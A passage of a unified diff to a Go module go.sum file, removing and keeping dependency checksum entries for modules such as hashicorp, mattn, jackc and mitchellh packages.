h1:XOTVJ59hdnfJLIP/dh8n5CGryZR2LxK9wbMD5+iXC6c= -github.com/googleapis/gax-go/v2 v2.5.1/go.mod h1:h6B0KMMFNtI2ddbGJn3T3ZbwkeT6yqEF02fYlzkUCyo= -github.com/googleapis/gax-go/v2 v2.6.0/go.mod h1:1mjbznJAPHFpesgE5ucqfYEscaz5kMdcIDwU/6+DDoY= -github.com/googleapis/gax-go/v2 v2.7.0/go.mod h1:TEop28CZZQ2y+c0VxMUmu1lV+fQx57QpBWsYpwqHJx8= -github.com/googleapis/gax-go/v2 v2.7.1/go.mod h1:4orTrqY6hXxxaUL4LHIPl6lGo8vAE38/qKbhSAKP6QI= -github.com/googleapis/gax-go/v2 v2.8.0/go.mod h1:4orTrqY6hXxxaUL4LHIPl6lGo8vAE38/qKbhSAKP6QI= -github.com/googleapis/gax-go/v2 v2.10.0/go.mod h1:4UOEnMCrxsSqQ940WnTiD6qJ63le2ev3xfyagutxiPw= -github.com/googleapis/gax-go/v2 v2.11.0/go.mod h1:DxmR61SGKkGLa2xigwuZIQpkCI2S5iydzRfb3peWZJI= -github.com/googleapis/go-type-adapters v1.0.0/go.mod h1:zHW75FOG2aur7gAO2B+MLby+cLsWGBF62rFAi7WjWO4= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So= github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ= @@ -1053,47 +216,16 @@ github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgf github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= github.com/grpc-ecosystem/grpc-gateway v1.16.0 h1:gmcG1KaJ57LophUzW0Hy8NmPhnMZb4M0+kPpLofRdBo= github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.7.0/go.mod h1:hgWBS7lorOAVIJEQMi4ZsPv9hVvWI6+ch50m39Pf2Ks= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.11.3/go.mod h1:o//XUCC/F+yRGJoPO/VU0GSB0f8Nhgmxx0VIRUvaC0w= github.com/grpc-ecosystem/grpc-gateway/v2 v2.17.0 h1:Rme6CE1aUTyV9WmrEPyGf1V+7W3iQzZ1DZkKnT6z9B0= github.com/grpc-ecosystem/grpc-gateway/v2 v2.17.0/go.mod h1:Hbb13e3/WtqQ8U5hLGkek9gJvBLasHuPFI0UEGfnQ10= -github.com/hashicorp/consul/api v1.18.0/go.mod h1:owRRGJ9M5xReDC5nfT8FTJrNAPbT4NM6p/k+d03q2v4= -github.com/hashicorp/consul/sdk v0.13.0/go.mod h1:0hs/l5fOVhJy/VdcoaNqUSi2AUs95eF5WKtv+EYIQqE= -github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= -github.com/hashicorp/go-cleanhttp v0.5.0/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= -github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= -github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= -github.com/hashicorp/go-hclog v0.12.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= -github.com/hashicorp/go-hclog v1.2.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= -github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= -github.com/hashicorp/go-immutable-radix v1.3.1/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= -github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM= -github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk= -github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA= -github.com/hashicorp/go-retryablehttp v0.5.3/go.mod h1:9B5zBasrRhHXnJnui7y6sL7es7NDiJgTc6Er0maI1Xs= -github.com/hashicorp/go-rootcerts v1.0.2/go.mod h1:pqUvnprVnM5bf7AOirdbb01K4ccR319Vf4pU3K5EGc8= -github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU= -github.com/hashicorp/go-sockaddr v1.0.2/go.mod h1:rB4wwRAUzs07qva3c5SdrY/NEtAUjGlgmH/UkBUC97A= -github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4= -github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go-version v1.2.1/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= -github.com/hashicorp/golang-lru v0.5.4/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uGBxy+E8yxSoD4= github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= -github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64= -github.com/hashicorp/mdns v1.0.4/go.mod h1:mtBihi+LeNXGtG8L9dX59gAEa12BDtBQSp4v/YAJqrc= -github.com/hashicorp/memberlist v0.5.0/go.mod h1:yvyXLpo0QaGE59Y7hDTsTzDD25JYBZ4mHgHUZ8lrOI0= -github.com/hashicorp/serf v0.10.1/go.mod h1:yL2t6BqATOLGc5HF7qbFkTfXoPIY0WZdWHfEvMqbG+4= github.com/huandu/xstrings v1.0.0/go.mod h1:4qWG/gcEcfX4z/mBDHJ++3ReCw9ibxbsNJbcucJdbSo= github.com/huandu/xstrings v1.3.2 h1:L18LIDzqlW6xN2rEkpdV8+oL/IXWJ1APd+vsdYy4Wdw= github.com/huandu/xstrings v1.3.2/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE= -github.com/iancoleman/strcase v0.2.0/go.mod h1:iwCmte+B7n89clKwxIoIXy/HfoL7AsD47ZCWhYzw7ho= github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= -github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/imdario/mergo v0.3.4/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= github.com/imdario/mergo v0.3.13 h1:lFzP57bqS/wsqKssCGmtLAb8A0wKjLGrve2q3PPVcBk= github.com/imdario/mergo v0.3.13/go.mod h1:4lJ1jqUDcsbIECGy0RUJAXNIhg+6ocWgb1ALK2O4oXg= @@ -1104,7 +236,6 @@ github.com/influxdata/influxdb-client-go/v2 v2.12.3 h1:28nRlNMRIV4QbtIUvxhWqaxn0 github.com/influxdata/influxdb-client-go/v2 v2.12.3/go.mod h1:IrrLUbCjjfkmRuaCiGQg4m2GbkaeJDcuWoxiWdQEbA0= github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839 h1:W9WBk7wlPfJLvMCdtV4zPulc4uCPrlywQOmbFOhgQNU= github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839/go.mod h1:xaLFMmpvUxqXtVkUJfg9QmT88cDaCJ3ZKgdZ78oO8Qo= -github.com/jackc/chunkreader v1.0.0 h1:4s39bBR8ByfqH+DKm8rQA3E1LHZWB9XWcrz8fqaZbe0= github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo= github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= github.com/jackc/chunkreader/v2 v2.0.1 h1:i+RDz65UE+mmpjTfyz0MoVTnzeYxroil2G82ki7MGG8= @@ -1125,7 +256,6 @@ github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65 h1:DadwsjnMwFjfWc9y5W github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65/go.mod h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak= github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM= github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg= -github.com/jackc/pgproto3 v1.1.0 h1:FYYE4yRw+AgI8wXIinMlNjBbp/UitDJwfj5LqqewP1A= github.com/jackc/pgproto3 v1.1.0/go.mod h1:eR5FA3leWg7p9aeAqi37XOTgTIbkABlvcPB3E5rlc78= github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190420180111-c116219b62db/go.mod h1:bhq50y+xrl9n5mRYyCBFKkpRVTLYJVWeCc+mEAI3yXA= github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190609003834-432c2951c711/go.mod h1:uH0AWtUmuShn0bcesswc4aBTWGvw0cAxIJp+6OB//Wg= @@ -1158,7 +288,6 @@ github.com/jaswdr/faker v1.16.0/go.mod h1:x7ZlyB1AZqwqKZgyQlnqEG8FDptmHlncA5u2zY github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo= github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4= github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= -github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= @@ -1167,15 +296,9 @@ github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/X github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM= -github.com/jung-kurt/gofpdf v1.0.0/go.mod h1:7Id9E/uU8ce6rXgefFLlgrJj/GYY22cpxn+r32jIOes= -github.com/jung-kurt/gofpdf v1.0.3-0.20190309125859-24315acbbda5/go.mod h1:7Id9E/uU8ce6rXgefFLlgrJj/GYY22cpxn+r32jIOes= -github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8= github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q= github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= -github.com/klauspost/asmfmt v1.3.2/go.mod h1:AG8TuvYojzulgDAMCnYn50l/5QV3Bs/tp6j0HLHbNSE= -github.com/klauspost/compress v1.15.9/go.mod h1:PhcZ0MbTNciWF3rruxRgKxI5NkcHHrHUDtV4Yw2GlzU= -github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= @@ -1183,15 +306,11 @@ github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= -github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= -github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= -github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= -github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/labstack/echo/v4 v4.2.1/go.mod h1:AA49e0DZ8kk5jTOOCKNuPR6oTnBS0dYiM4FW1e6jwpg= github.com/labstack/gommon v0.3.0/go.mod h1:MULnywXg0yavhxWKc+lOruYdAhDwPK9wf0OL7NoOu+k= github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= @@ -1200,9 +319,6 @@ github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/lib/pq v1.10.9 h1:YXG7RB+JIjhP29X+OtkiDnYaXQwpS4JEWq7dtCCRUEw= github.com/lib/pq v1.10.9/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= -github.com/lyft/protoc-gen-star v0.6.0/go.mod h1:TGAoBVkt8w7MPG72TrKIu85MIdXwDuzJYeZuUPFPNwA= -github.com/lyft/protoc-gen-star v0.6.1/go.mod h1:TGAoBVkt8w7MPG72TrKIu85MIdXwDuzJYeZuUPFPNwA= -github.com/lyft/protoc-gen-star/v2 v2.0.1/go.mod h1:RcCdONR2ScXaYnQC5tUzxzlpA3WVYF7/opLeUgcQs/o= github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY= @@ -1210,59 +326,40 @@ github.com/magiconair/properties v1.8.7/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3v github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= github.com/matryer/moq v0.0.0-20190312154309-6cfb0558e1bd/go.mod h1:9ELz6aaclSIGnZBoaSLZ3NAl1VTufbOrXBPvtcy6WiQ= -github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ= github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= -github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.7/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.12 h1:jF+Du6AlPIjs2BiUiQlKOX0rt3SujHxPnksPKZbaA40= github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= -github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.9/go.mod h1:YNRxwqDuOph6SZLI9vUUz6OYw3QyUt7WiY2yME+cCiQ= -github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84= -github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y= github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= -github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= -github.com/mattn/go-isatty v0.0.17 h1:BTarxUcIeDqL27Mc+vyvdWYSL28zpIhv3RoTdsLMPng= -github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU= github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= -github.com/mattn/go-sqlite3 v1.14.14/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU= -github.com/mattn/go-sqlite3 v1.14.15/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg= github.com/mattn/goveralls v0.0.11 h1:eJXea6R6IFlL1QMKNMzDvvHv/hwGrnvyig4N+0+XiMM= github.com/mattn/goveralls v0.0.11/go.mod h1:gU8SyhNswsJKchEV93xRQxX6X3Ei4PJdQk/6ZHvrvRk= github.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= -github.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso= -github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI= -github.com/minio/asm2plan9s v0.0.0-20200509001527-cdd76441f9d8/go.mod h1:mC1jAcsrzbxHt8iiaC+zU4b1ylILSosueou12R++wfY= -github.com/minio/c2goasm v0.0.0-20190812172519-36a3d3bbc4f3/go.mod h1:RagcQ7I8IeTMnF8JTXieKnO4Z6JCsikNEzj0DwauVzE= -github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= -github.com/mitchellh/cli v1.1.0/go.mod h1:xcISNoH86gajksDmfB23e/pu+B+GeFRMYmoHXxx3xhI= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= github.com/mitchellh/copystructure v1.2.0 h1:vpKXTN4ewci03Vljg/q9QvCGUDttBOGBIa15WveJJGw= github.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s= github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/go-wordwrap v0.0.0-20150314170334-ad45545899c7/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= -github.com/mitchellh/go-wordwrap v1.0.0/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= github.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0= github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= -github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.3.2/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= -github.com/mitchellh/mapstructure v1.4.1/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/reflectwalk v1.0.2 h1:G2LzWKi524PWgd3mLHV8Y5k7s6XUvT0Gef6zxSIeXaQ= @@ -1289,8 +386,6 @@ github.com/ory/go-acc v0.2.8 h1:rOHHAPQjf0u7eHFGWpiXK+gIu/e0GRSJNr9pDukdNC4= github.com/ory/go-acc v0.2.8/go.mod h1:iCRZUdGb/7nqvSn8xWZkhfVrtXRZ9Wru2E5rabCjFPI= github.com/ory/viper v1.7.5 h1:+xVdq7SU3e1vNaCsk/ixsfxE4zylk1TJUiJrY647jUE= github.com/ory/viper v1.7.5/go.mod h1:ypOuyJmEUb3oENywQZRgeAMwqgOyDqwboO1tj3DjTaM= -github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= -github.com/pascaldekloe/goe v0.1.0/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= github.com/pborman/uuid v1.2.0 h1:J7Q5mO4ysT1dv8hyrUGHb9+ooztCXu1D8MY8DZYsu3g= github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k= github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= @@ -1301,11 +396,6 @@ github.com/pelletier/go-toml/v2 v2.0.6 h1:nrzqCb7j9cDFj2coyLNLaZuJTLjWjlaz6nvTvI github.com/pelletier/go-toml/v2 v2.0.6/go.mod h1:eumQOmlWiOPt5WriQQqoM5y18pDHwha2N+QD+EUNTek= github.com/peterh/liner v1.2.1 h1:O4BlKaq/LWu6VRWmol4ByWfzx6MfXc5Op5HETyIy5yg= github.com/peterh/liner v1.2.1/go.mod h1:CRroGNssyjTd/qIG2FyxByd2S8JEAZXBl4qUrZf8GS0= -github.com/phpdave11/gofpdf v1.4.2/go.mod h1:zpO6xFn9yxo3YLyMvW8HcKWVdbNqgIfOOp2dXMnm1mY= -github.com/phpdave11/gofpdi v1.0.12/go.mod h1:vBmVV0Do6hSBHC8uKUQ71JGW+ZGQq74llk/7bXwjDoI= -github.com/phpdave11/gofpdi v1.0.13/go.mod h1:vBmVV0Do6hSBHC8uKUQ71JGW+ZGQq74llk/7bXwjDoI= -github.com/pierrec/lz4/v4 v4.1.15/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4= -github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= @@ -1314,15 +404,11 @@ github.com/pkg/sftp v1.10.1/go.mod h1:lYOWFsE0bwd1+KfKJaKeuokY15vzFx25BLbzYYoAxZ github.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod 